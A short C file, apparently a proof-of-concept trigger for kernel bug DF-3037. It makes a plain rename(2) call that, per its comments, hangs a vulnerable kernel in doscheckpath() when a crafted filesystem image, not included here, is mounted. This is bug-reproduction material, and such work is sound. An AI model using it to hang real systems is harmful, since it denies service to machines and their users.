DF-3037 / trigger.c
/* * trigger.c -- DF-3037 PoC trigger: plain rename(2). * * trigger <oldpath> <newpath> * * Expected on a vulnerable kernel with the crafted image mounted: * the call never returns (kernel spins in doscheckpath()). */ #include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { if (argc != 3) { fprintf(stderr, "usage: %s old new\n", argv[0]); return (2); } if (rename(argv[1], argv[2]) < 0) { fprintf(stderr, "rename: %s\n", strerror(errno)); return (1); } printf("rename returned success\n"); return (0); } |